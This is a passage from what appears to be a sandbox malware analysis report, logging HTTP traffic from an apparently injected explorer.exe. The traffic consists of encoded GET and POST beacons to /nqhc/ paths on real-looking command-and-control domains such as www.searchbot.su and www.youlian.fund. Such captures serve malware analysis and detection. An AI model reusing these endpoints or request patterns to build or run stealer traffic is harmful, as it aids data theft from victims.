4b 45 77 30 77 77 79 39 65 64 74 4d 56 39 37 6e 51 30 52 53 41 43 7a 38 69 55 47 57 4d 36 67 58 79 32 4c 4c 69 66 69 51 70 61 6a 51 4c 37 5a 34 2d 6c 59 44 4a 37 31 63 79 45 68 5a 66 73 31 78 59 37 53 58 46 64 30 70 43 75 39 48 62 28 63 70 5f 65 42 53 57 47 68 55 63 6b 79 7e 6f 34 44 72 42 37 5a 73 64 50 36 67 38 6d 67 78 45 55 7a 79 57 4a 72 5a 56 79 77 6f 79 43 65 71 6b 6b 54 6b 4c 49 36 74 70 76 73 72 62 49 55 44 6f 4d 52 34 7a 69 6d 4b 58 37 33 54 78 73 5a 31 67 53 76 68 41 39 67 57 39 66 33 61 37 41 66 56 69 30 71 4b 54 70 39 39 56 4c 59 42 61 28 79 38 45 33 79 44 74 6d 39 6c 4f 49 56 71 77 6a 7a 73 79 32 4e 6d 58 55 4f 35 32 7a 58 6d 37 6f 6c 58 78 61 79 37 63 7e 34 42 76 32 6b 74 63 7e 75 6c 6d 54 30 55 33 30 77 72 66 38 31 59 50 37 64 53 4e 46 48 63 38 78 33 69 36 6f 56 33 4e 5a 31 63 63 51 54 52 44 62 53 78 52 61 59 38 33 79 42 71 76 7a 75 72 63 74 6f 6b 33 6c 77 47 Data Ascii: r4txB=9jZPDiqEJGn1w5XcKxj3JMtrUJaRlUKV0ptO0Po657i8fM0D3ZJ8AWfl7piu7vuH0MAX3HPKcahXHDb3J05-RDeuRUCLrG1M2iuG5YEfseWOWNpfwiu7eyHjWjamoyfFlILzOa0Mx1eQ4lQYQDmZgq1gw8zLSnF4YENMUwsG~vBBVPwZFu8wPW2kYrPSjU1DOTaDQlNeYIvXLab0E7AGuze8YH36CCo_VHoKorm0lW1KYJC8jPy7Q00LeGj7niYG9U56qy6ZPmOFHT5HaCYoWLDDEBLnDXZGx1CePq2gbjHDTOIDVDjclbzE8k5c43BeJqafJMiqbANwT6WYfjAEOqxzo7(lo4zlsNY1lKwWwZRa4Oretn1ppik1H-2kjmxinrZKHrlz7ZlnJyhEttlu96GTD19jhadIZd7pkF8_zF(WKei_85Tna4JUUhB59K5GP1K6M1U7~Y35S9Kvjue1lFGrEFIEgmjgcq8yqKWciJpvUuDQJBzaxkojNyFRkPADWvALOBEDtoDeLbCgSlqlkNo7gDWCpIw6IQkzhuCa3ZKolhKA0b6gepwx9u81jNFLniAl9GWRNIkJvSW7a_CRHXyeyUBf8ZFoTgpMIyovPOcBd2OBlkJUwJfpYYIkRbtJSzVIArZNYXy7IfLq2B6fHAYA7pVm06FGzyUAuX4N~5ca0IL4IszMV8FCaWfV(TQQmXoAtaIu1ODJ4W0_lYWQIRmiJ2h4pE8feGfmLv6Ixd8cJqtKNso8IuofkwhNKlzM2Xj2HWCXHW6Mdumuq0KdzOpCs7EMhutoaWhWpNN5bGpq~BMVR5NGiREHe5qon8~YUgSPab7GJJ4agGdfxujhYY7YJxR8F5BrZSFyvwhUjmzjCq(J0eWgKlqiXFAtiy(uxc11Jr3nTauahXtSb0LRQKLxC9o7(YnxXotdR8q3bcgbrBkwfNyYVjRs5cOUPYuXFX~mWAkJoUDOah8NFTqVkEZos_atATcatgCU~0Q7UQUNN5jBFV9CQXMmdDgqM7Y2CSlzIsBb6aTyOS3iGQLqnKcKJQsEKOMxqpAqRKEw0wwy9edtMV97nQ0RSACz8iUGWM6gXy2LLifiQpajQL7Z4-lYDJ71cyEhZfs1xY7SXFd0pCu9Hb(cp_eBSWGhUcky~o4DrB7ZsdP6g8mgxEUzyWJrZVywoyCeqkkTkLI6tpvsrbIUDoMR4zimKX73TxsZ1gSvhA9gW9f3a7AfVi0qKTp99VLYBa(y8E3yDtm9lOIVqwjzsy2NmXUO52zXm7olXxay7c~4Bv2ktc~ulmT0U30wrf81YP7dSNFHc8x3i6oV3NZ1ccQTRDbSxRaY83yBqvzurctok3lwG95fKmTPm6DlTA9LnSZrgriTgP2KdFcrFQXuceHTeHS-RAgAHBrrGY9b0oHbRmQeX_Eh(WAxo5wPV9QZibJLnSQsFjojJFt_bONv4HkFB4kV9KPyW0ITa7bSxtEC2x0lI3EXOC2-rQTWP9(j6XD4~wBwrvU8GuoqeuSi2dPQYb2vTSSPPrV082ZbpwvITyNygd9J9HBzOYAGi3MIGYnb2AsifutJmAOjgMq7yqnL0SBjZqVf36LsR03xY5es2TfAwthAj0AVggu-(AmAi9yUaOJNeQCOMIIEVbBTZNxekXKJ2mnNkZsdWKxxtIKT5OC2vdWMnfL_nuXVrOkznN8xtJxB7LLmg7HHlt4znkFAne5bKVMD9pR9KlkwQ-kZSQ8BUn(wIZ2vQQb89rJzb6yiv7AjAFXUrbtIBCbqpI4dsAXfhLEfgRgTMCu2YbOzHEjfA0wPgbs0Zv6bJBteoKw3G5Q3~yoXoG23yKZT~S4OtP8XgO8RGBgLkNoKcDRl57~kxOzaYoy0xJIPBpx89m99WiPvZ18zIrEdw4CkVtKe9DIvTp~fIdQ0W6954mbgDsvpdcslqtFoTa~L1fPD7Sba7F37U_m9ad6xMTRe0iGpXhHMeQMB4XVb7-(G5iczTpDiv1d3Wd3GZf(UoJO5Z8RKu-YkRs4xhLkqPqpfM3(czjMR~62v~45UYTLXu1Jha_O9Nv1nDWarY80G3CquqyT3(SFjS2in4aCqvdlGHCQ57fRm6UkXSWFRCdqPfHdXs1CTBeQEfd2n50KyxuuA(JfXMKAy80KAzjxxUunJitoMhv3KVx2kKCNSfqnX2wVGVErDRmW9S-aylu1Vj0hK3RsBYF8lka74hynj5v4FH2u_lAreR6yObugIjdoA28X5zA5ORUPW1wtm1EmNTn(ReZxuj9K2lG~xUyeEh5SaXDK-kGvGFNGuCuTDJTrz~XbePmtpRDpO(YzugoKRIjXjHQp0Z2i3EjMOzQ65Yf0Lm6CUq1m8olCqXSYec2u07O~1BECVJfmik2L57BmfgFY5QYJqWx1GNPr4f72MeKXZ0_iPjIXq117cuZKZsdKox66GjaX9aGYB11P4OWcyTgWY0aYgY4N-mR0MfHGin9pR9ZA3B-N_cybDIY8cIYUXaeJ-249iZxVDcmDfIFL4dJ3Mu4xkWtFTvOryZhAmKyAK~ktk1KRK8mOnti2YMBCwDvkw1tCSGQrNRA7VQtWL4GLmXuL8WNkiXrWfKfHRpkZpf5O8TmPt6QySzGt_j893HxJn2pwdfgpyyvULWwowYbumw27oMhNf2XNCbQOlhfMRqKPkg0MudKaTG_YVpw(1282LkjeCuOmWPK8mrN5vkqP7fv8IQwZ1MXDrdAn81LmRy8UOHyX0Gcn0CAezTA~b6HXqjBCwAPPhIsZOf6Ys8y4enx1H3lsLFq2mkKqf1rckZ-EnFkGh0w9XrBhDtEQ9cy3CjxuzilrSnhycfGJ2TgykUA2Op4vPPSiwS1bL5zCspZRenDHwrzvoel6VXBKsuVHXdN6l53513SEYoOn4NayUO3rqbQFyu8aNvGbq(_uj3pdcX311EwUpJF1toNdJ8oGDiQU2Q-Mo~QG-yZAt7neHevUyUcGmd_d8IucR~7GtjlG8bZDJbwer1ZY47-lHsTg_zwefBhy39nBifNXKM3jaV3XYfMnIT8TlKZI1w4Z53LtrBf8lP9tEsBPOGsDV6h(2BF5jmigkqD45UKElN0VlzXz7eVFRt_9wT1wSD3jqgLAPr2IlI8YiyNC6XIyNXEwnHCplFYrv9rMWOSTnmRXPZbfR1cE0Oq5lYxteMowlPn3XF7c7Y7849OjkZCCw9DZHqGmTD1h8SdCJX4OjM0Ee3CXEP1f54OEKtfKswr8mwcAWRHXI(oTFKnp8ru~MVrteQvg8~mLCTE49dD7jxcTkdMSEnbNgw7S4ZJ5LJJNkH-7JgKiz6Sc4x7UZkFUuQk7a8sl6fjcliR~W13SXGt07B59PnGdr6SIrJZ5qGfavCAAjdfts8aCjpJMy1CA777Kq4gZYAzwcy-39FII1Jf9ZEF6-HwBXcGQHwIldO3HtV4GuIkInn1Vac7(k3N3CqBNvDxS3HTAOH5M93lkzoqSkpLQfEsdWkXufo70qCiEbbP5RLpEjmQTwgvVimcFooysXVzjJ6woJg9TNbS3uWCj31FfTQnLORE(lrYcEDHOjyh6pd53UM5Ko9LvcRLAJIzOi3bHrLMVggpRrdzDz07UwvTUGkf1s3U82cJzOk9ntgdxo6rtakQKhiL9clNF3F1qT1no23Ehhorx7HK4tpzlnRm4QPZmnmFHfANjqEqlMTCBVhTDz(HlKHZpYHWsjEDxlG2TFjLf1aMF_I4ohZVhy3r53par7qra3UDS4NWHgD7(f~MWL7WqqE5PZwQYGGFsRzPTxldga4SaSbeZrlwXtnKBMIgzaEshfp1tkaTyVYIDPdWqCDp8zAiVfw-8ms4i-NjYaCmGSH7fV5a9_JUqHKDVakjpXmrFei_MtP10c0Uo0I-RB3SEtQNzMvF8UvE06GBVMA0EQ6OzCmkyPtJaCFvYQ2nuaERI9UHjy955cIY4UFtMCgFxZ2s9XTsCBPYXam677GfE9yHobJLgD5WiVqkzpWqs0fxpQOwulTgHC(64lbmcFu2bn9NOOHsO4JsAo7EnLDV68fqRy~qjq1EwrBRbk1Vp_l5wFBrYMzx9Z
Nov 21, 2022 19:23:41.597889900 CET	1581	OUT	Data Raw: 48 38 72 71 53 37 4b 6b 79 36 4f 41 48 57 68 4c 53 42 56 67 57 42 71 76 71 30 38 5f 66 57 48 64 54 38 73 4f 6f 4c 31 50 61 58 59 36 57 6b 35 2d 5a 37 31 58 6f 73 38 76 38 31 46 4b 48 61 38 48 41 5f 5a 5a 59 62 4d 4a 4d 44 52 71 41 4b 77 43 76 33 Data Ascii: H8rqS7Kky6OAHWhLSBVgWBqvq08_fWHdT8sOoL1PaXY6Wk5-Z71Xos8v81FKHa8HA_ZZYbMJMDRqAKwCv3TAiXfTJNMO5VX4PWPOo5cYvcXASU2mBVQJfdHQa3eEr-AzlxN4DC87~ynasTCfse1umPFaQv9ZKGjC7ewUzKWj5da9SIF4tqAMuDgpMKwIR52FrB5XlzYBhE21V_fInrUOgAr5Sa3Zi7xo02hhiomtYtGHnuaiWc5
Nov 21, 2022 19:23:41.656160116 CET	1582	OUT	Data Raw: 7e 53 6a 56 67 33 68 36 42 46 65 50 55 5f 32 70 43 44 4a 61 43 70 62 56 33 4c 42 70 4f 69 6b 4e 74 79 67 6e 35 37 51 69 37 67 74 31 55 61 67 43 52 49 71 6a 48 4b 4f 6b 4e 73 34 2d 4e 6c 49 51 51 36 6b 4e 6b 38 47 7a 64 5a 33 51 64 43 55 73 34 57 Data Ascii: ~SjVg3h6BFePU_2pCDJaCpbV3LBpOikNtygn57Qi7gt1UagCRIqjHKOkNs4-NlIQQ6kNk8GzdZ3QdCUs4W1XpsS8uwwKz2jBw3U_5zT4mpeiPwkwcBzFqjHXqWX6V9nG~U9KBScccrPCtVohMRY1IlF8w2SO41ymWYDUPZZb9dOXNIcfR7ORIJbULTVqsa30j1HG~gbjMVB862Whzm73by~9zvfJtUcKhioQrkft(O4LTlH3oly
Nov 21, 2022 19:23:41.656282902 CET	1584	OUT	Data Raw: 7e 7a 71 4c 37 6b 5a 33 34 58 66 71 59 4d 79 66 46 45 4d 65 70 79 28 50 4e 45 5a 39 56 49 6d 2d 73 59 53 57 65 4c 70 74 45 6b 50 33 4b 65 59 6e 75 67 41 31 67 4d 61 77 36 6e 7a 68 31 41 43 59 6a 30 36 35 33 33 7e 78 4b 75 6d 30 34 69 6c 71 53 78 Data Ascii: ~zqL7kZ34XfqYMyfFEMepy(PNEZ9VIm-sYSWeLptEkP3KeYnugA1gMaw6nzh1ACYj06533~xKum04ilqSxyA6GALhgAc4D3xm2S3PMh-zEdWyw0tK4a3m10wxHteGJvB~8T9EJbDoAy2o259rbRgSu0USXBsTv8iJkEXWCxToW~KEp8tX76L2dK_KI(tYVxLWUhrWdyOcGFSi1WSARRzjPddMaXN6hNWshYytyeyF9tdfe~F5yD
Nov 21, 2022 19:23:41.656337023 CET	1586	OUT	Data Raw: 50 2d 50 62 7e 6d 69 31 42 52 57 4d 34 52 43 63 54 4e 45 56 7a 67 65 4c 6e 79 7e 48 6c 35 30 73 6b 52 76 50 4e 54 6a 55 54 74 47 4f 52 58 42 45 57 55 55 43 6d 4d 78 30 62 58 54 73 72 58 4b 68 51 33 39 2d 52 47 69 74 35 5f 58 57 53 70 78 76 67 44 Data Ascii: P-Pb~mi1BRWM4RCcTNEVzgeLny~Hl50skRvPNTjUTtGORXBEWUUCmMx0bXTsrXKhQ39-RGit5_XWSpxvgD0Yb_jIkA2r26IGxWyZ~yw8HWJZ0V(K7DwyDrT_Z9hqguHOeJXNcFOsHHhbPsk157Z_VRilRViy6uSZUZ0aNQTUaWxc2DoJauvsU9NrUqo3qAOzB4e71LcqWZXiIqagcgUSe8JPH5~Qs5J4vGyZzDjf5a3dFyxyXgX
Nov 21, 2022 19:23:41.656546116 CET	1589	OUT	Data Raw: 51 4b 35 44 41 78 41 52 7a 38 64 6d 66 38 6c 65 69 35 58 79 71 47 61 50 51 48 6d 77 28 4d 72 4e 33 59 33 56 43 4b 61 32 64 67 43 36 50 4a 34 35 73 72 4a 6e 74 69 48 4f 56 6b 54 46 41 68 43 4c 6b 47 4b 7a 49 7a 48 62 43 70 4a 4d 33 5f 5a 6c 50 75 Data Ascii: QK5DAxARz8dmf8lei5XyqGaPQHmw(MrN3Y3VCKa2dgC6PJ45srJntiHOVkTFAhCLkGKzIzHbCpJM3_ZlPu1qFy5q2fPrTWQtcRrXGJlOIwX_iy(2(hyzAFU-PAuG7AePB2gtfhc0gp8Xi_Mijfx2k3LJQbS3zjuk16sNJh6WZ3npCRYdfJPSBhPCEZQqOigY48OKAh7qVilFv-KzxyxX0KspZCLvGXBm3AVas5uTte90ERW1lrJ
Nov 21, 2022 19:23:41.656899929 CET	1593	OUT	Data Raw: 50 63 54 43 57 6b 51 75 39 6c 75 33 51 66 36 30 50 76 53 54 54 32 59 67 4b 51 59 52 4d 78 68 71 51 4f 4c 33 50 77 49 38 43 36 59 49 54 4a 6c 75 55 52 7a 66 77 6c 43 64 75 6f 46 76 65 42 4c 4c 56 4f 69 77 28 52 63 64 57 37 55 69 7e 53 78 6b 55 64 Data Ascii: PcTCWkQu9lu3Qf60PvSTT2YgKQYRMxhqQOL3PwI8C6YITJluURzfwlCduoFveBLLVOiw(RcdW7Ui~SxkUdEvfHKCMOjKbgocShE7cmb9PaRxVxp-CEkyAMqWjxnzzzGmIYYejT2OfWRw1NJXzZjCio00DHviXzYdkFBvtDiVj8Lxp1ZaqcbtnidNt9hI59tlDTZ0Ff3jjC8PJDo-7-kSqrEiv0aX2abnLziHWNpMop6C8dYLawZ
Nov 21, 2022 19:23:41.657058001 CET	1597	OUT	Data Raw: 32 68 49 52 36 46 65 73 56 4a 53 6c 76 79 6b 61 52 46 6c 6b 78 63 33 72 53 41 45 53 66 38 43 50 5a 50 45 6f 34 46 47 4d 52 6e 4f 53 34 49 35 58 78 46 52 61 39 41 39 49 54 69 62 35 6c 55 67 78 68 2d 67 4e 51 4a 6d 48 6c 2d 43 68 39 58 38 52 55 48 Data Ascii: 2hIR6FesVJSlvykaRFlkxc3rSAESf8CPZPEo4FGMRnOS4I5XxFRa9A9ITib5lUgxh-gNQJmHl-Ch9X8RUH76uHKmNDz0H_(Go8TwzYCkEvXc(fTYiiIH0skb9jBG3jG4xHuf7gzBh3SUkw5WJlk-4tpxk1oQxw3L09x1T7UnRbjfvoVnyD3gNpo1b_HlLU4OEDmNfEx3mfNs2qnKIRTs(8NQJXANjYiRL5ISN-Rx8djIqJS0ql(
Nov 21, 2022 19:23:41.657350063 CET	1598	OUT	Data Raw: 4d 49 78 4e 62 30 6b 70 51 70 30 46 46 34 42 4d 77 51 44 64 4b 79 77 4e 4c 46 59 42 4f 6c 58 55 70 46 55 6e 33 6c 62 78 34 39 68 63 35 33 5a 57 51 47 76 66 68 67 6d 64 28 75 77 31 73 49 5a 42 32 32 7a 4c 78 70 46 51 48 48 59 77 61 61 78 68 4b 6b Data Ascii: MIxNb0kpQp0FF4BMwQDdKywNLFYBOlXUpFUn3lbx49hc53ZWQGvfhgmd(uw1sIZB22zLxpFQHHYwaaxhKktSd3eOuQNUwkXnHOtxkdxyl9w4ktQS5iuFfbHVks0MUn(0Y0GIDn0ySl85GvwvrREe2BU7PmAwpK4336lTnl9nt2kjzENhrKTrPbRFvj(GA9hBY2zu5709MHra(FlBD1gHjoR4ohuqiIZUQvVCEwMJG1~s7JCPOqC
Nov 21, 2022 19:23:41.657531023 CET	1599	OUT	Data Raw: 6d 35 6d 57 77 79 50 62 6c 35 68 38 77 74 46 51 63 30 33 66 33 59 6e 5a 6d 45 71 44 39 48 6d 4d 6a 32 32 6b 76 68 7a 70 74 37 57 33 72 43 72 74 6d 63 4f 5a 45 41 47 47 72 50 70 38 7e 35 58 75 66 66 52 5a 57 46 66 70 30 41 7a 5f 7a 71 49 45 79 37 Data Ascii: m5mWwyPbl5h8wtFQc03f3YnZmEqD9HmMj22kvhzpt7W3rCrtmcOZEAGGrPp8~5XuffRZWFfp0Az_zqIEy7XfTx(9zJM3woyMGelA88EQWj9VVOnnBfzGMsKqNCsWnsTgB9KRzN(V2_M5Y57UJcKxvQSjK660qTJhoDNKhLUW2RkyOi8-tR1lojh5SaqDkCqzzWHkqx0qTZoWJeq_XuegMZAv4HrS4KkqoTmhWbTeOdZxBCWcZBB
Nov 21, 2022 19:23:41.657860994 CET	1605	OUT	Data Raw: 48 63 6d 49 56 49 78 76 5a 69 30 50 6d 35 69 4a 59 51 5a 33 34 34 38 45 50 52 6f 72 7e 74 38 78 34 48 6c 39 47 33 55 4b 54 51 65 4d 4c 35 41 6e 77 63 63 56 46 52 42 47 53 6d 6a 4e 68 53 53 65 34 65 59 52 66 36 6b 47 4f 73 31 62 46 68 4c 6d 57 6d Data Ascii: HcmIVIxvZi0Pm5iJYQZ3448EPRor~t8x4Hl9G3UKTQeML5AnwccVFRBGSmjNhSSe4eYRf6kGOs1bFhLmWm3Vd45NZKQq(ClUYWreFcv3MlLQqONMTQcl4MaONrn6aExAL2AS4iYB4jN2bDYQiWGxQao8mtIrxX2NC4hvKXLYXOzCj_IgFAiumiZqjVLBZDSjReuyHHR3msSmY0owtWNsCfMWYbLpbGYUqDP_IpDGUzXrj_5mPHj
Nov 21, 2022 19:23:42.091573954 CET	1622	IN	HTTP/1.1 404 Not Found Server: nginx-reuseport/1.21.1 Date: Mon, 21 Nov 2022 18:23:42 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 65 39 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4d 8f c1 6a c3 30 10 44 ef fe 8a 6d 4e cd a1 5a 27 b8 d0 83 10 b4 b1 43 03 4e 6a 1a f9 90 a3 12 6d 90 21 b1 5c 49 ae db bf af ec 50 c8 65 61 76 df 0e 33 fc 21 ff 58 c9 43 55 c0 bb dc 96 50 d5 6f e5 66 05 b3 27 c4 4d 21 d7 88 b9 cc 6f 97 25 4b 11 8b dd 4c 24 dc 84 eb 45 70 43 4a 47 11 9a 70 21 91 a5 19 ec 6c 80 b5 ed 5b cd f1 b6 4c 38 4e 10 3f 5a fd 3b fe 2d c4 1d 13 55 c2 3b 21 0d 81 a3 af 9e 7c 20 0d f5 67 09 83 f2 d0 46 ee 3c 72 60 5b 08 a6 f1 e0 c9 7d 93 63 1c bb d1 c9 c5 a1 b4 76 e4 bd 78 ed d4 c9 10 2e 59 c6 9e 17 f0 58 b7 cd cf 1c f6 13 0e 2a c0 30 0c cc 93 72 27 73 b4 81 f9 1e 2a eb 02 bc a4 1c ff 0d 62 ce 29 61 cc 34 36 4b fe 00 08 94 dc 0d 14 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: e9Mj0DmNZ'CNjm!\IPeav3!XCUPof'M!o%KL$EpCJGp!l[L8N?Z;-U;!\| gF<r`[}cvx.YX0r'sb)a46K0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.11.20	49885	45.130.41.24	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:23:43.670047045 CET	1623	OUT	GET /nqhc/?r4txB=whxvAX76Kn/dsraFEG6OM4VHSLC6sVqO0rZz4tdexYeFc8oztoloeHnU5/yDvq6vrM0c8H7EZKwvMwvNWmxWHwyHX3Pe6w5pjw==&1b=S8jD HTTP/1.1 Host: www.searchbot.su Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2022 19:23:43.758317947 CET	1623	IN	HTTP/1.1 404 Not Found Server: nginx-reuseport/1.21.1 Date: Mon, 21 Nov 2022 18:23:43 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 276 Connection: close Vary: Accept-Encoding Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 31 20 28 55 6e 69 78 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 73 65 61 72 63 68 62 6f 74 2e 73 75 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.51 (Unix) Server at www.searchbot.su Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.11.20	49829	45.130.41.24	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:20:23.527010918 CET	551	OUT	GET /nqhc/?r4txB=whxvAX76Kn/dsraFEG6OM4VHSLC6sVqO0rZz4tdexYeFc8oztoloeHnU5/yDvq6vrM0c8H7EZKwvMwvNWmxWHwyHX3Pe6w5pjw==&1b=S8jD HTTP/1.1 Host: www.searchbot.su Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2022 19:20:23.896471977 CET	551	IN	HTTP/1.1 404 Not Found Server: nginx-reuseport/1.21.1 Date: Mon, 21 Nov 2022 18:20:23 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 276 Connection: close Vary: Accept-Encoding Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 31 20 28 55 6e 69 78 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 73 65 61 72 63 68 62 6f 74 2e 73 75 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.51 (Unix) Server at www.searchbot.su Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.11.20	49886	154.204.24.45	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:23:49.005950928 CET	1624	OUT	POST /nqhc/ HTTP/1.1 Host: www.youlian.fund Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.youlian.fund User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.youlian.fund/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 42 6d 47 30 73 32 7a 6e 35 58 66 6d 68 48 6f 57 30 62 7e 34 59 48 41 55 32 31 77 35 52 51 34 67 73 72 39 32 4d 48 45 58 4e 67 6b 55 74 6f 4e 4f 32 4a 78 4a 39 46 72 45 57 76 4d 45 56 5a 42 6b 35 64 56 76 42 4b 68 6a 46 32 36 6a 46 57 43 77 50 79 32 58 32 74 64 6b 7e 36 78 70 70 6c 72 63 4c 79 5a 51 6a 78 68 58 62 68 4c 44 38 62 66 59 78 61 53 44 4a 71 4e 32 66 38 36 4e 69 4c 44 62 63 74 43 64 64 38 4c 34 53 46 7a 6e 33 53 34 39 69 74 44 67 52 34 4b 55 48 4d 52 6a 38 6b 51 7a 75 78 71 49 5a 47 7a 74 4b 42 45 46 7e 5a 77 35 70 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: r4txB=BmG0s2zn5XfmhHoW0b~4YHAU21w5RQ4gsr92MHEXNgkUtoNO2JxJ9FrEWvMEVZBk5dVvBKhjF26jFWCwPy2X2tdk~6xpplrcLyZQjxhXbhLD8bfYxaSDJqN2f86NiLDbctCdd8L4SFzn3S49itDgR4KUHMRj8kQzuxqIZGztKBEF~Zw5pw).
Nov 21, 2022 19:23:49.291357040 CET	1624	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 21 Nov 2022 18:23:49 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 64 0d 0a 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 30 0d 0a 0d 0a Data Ascii: d404 Not Found0
Nov 21, 2022 19:23:49.518327951 CET	1625	IN	Data Raw: 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.11.20	49887	154.204.24.45	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:23:51.277769089 CET	1626	OUT	POST /nqhc/ HTTP/1.1 Host: www.youlian.fund Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.youlian.fund User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.youlian.fund/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 42 6d 47 30 73 32 7a 6e 35 58 66 6d 68 6e 34 57 6e 49 47 34 4a 6e 41 58 7a 31 77 35 44 51 34 6b 73 72 68 32 4d 43 38 48 4e 53 41 55 74 4e 70 4f 31 4d 52 4a 78 6c 72 45 43 5f 4d 46 62 35 41 6f 35 64 59 53 42 4b 4e 6a 46 79 71 6a 48 6b 4b 77 4a 43 32 59 34 4e 64 6e 35 36 78 6f 74 6c 72 47 4c 79 45 35 6a 78 46 58 62 52 58 44 39 65 4c 59 31 50 6d 41 45 71 4e 30 5a 38 36 43 72 72 43 42 63 74 28 67 64 2d 61 4e 56 33 76 6e 32 79 59 39 6a 74 44 6a 66 49 4b 70 4f 73 52 78 73 6e 31 4d 6a 6a 43 78 45 6b 54 58 43 44 34 52 31 35 51 32 78 4c 7e 79 6c 54 48 48 36 53 58 79 67 54 50 42 74 73 44 30 6e 4b 4a 77 70 57 74 70 54 6a 74 56 61 6d 7a 5a 54 78 39 51 4a 66 32 62 4c 6a 68 55 48 6b 56 45 71 66 35 5f 62 36 72 54 6e 41 33 35 53 73 34 4f 57 44 45 48 74 78 61 71 79 6e 73 75 7a 73 36 52 70 49 4b 58 4f 49 31 41 35 61 4f 69 75 48 54 32 68 57 52 66 70 68 54 75 4e 6f 33 44 71 43 5a 6f 49 56 6d 76 56 39 74 35 78 73 70 67 7a 65 46 33 73 39 50 6e 72 36 43 35 67 67 63 6a 32 48 34 4b 6a 78 33 48 66 51 63 6d 74 34 4e 76 31 72 49 77 79 42 33 36 32 42 31 4c 48 47 67 79 79 4f 62 55 31 35 51 61 77 43 74 4d 4f 63 4f 47 62 50 31 72 52 62 45 31 4f 52 48 5a 6b 63 54 4e 45 77 51 34 58 58 46 63 36 58 62 4c 7a 63 71 79 42 55 49 44 31 65 37 59 43 63 6c 54 28 53 4e 35 6b 34 66 56 37 73 4c 31 77 35 76 4e 54 35 6b 75 45 6e 37 4e 79 46 33 73 54 30 28 73 61 47 6c 66 62 33 72 62 4f 55 43 34 4b 44 35 77 35 51 58 74 34 77 49 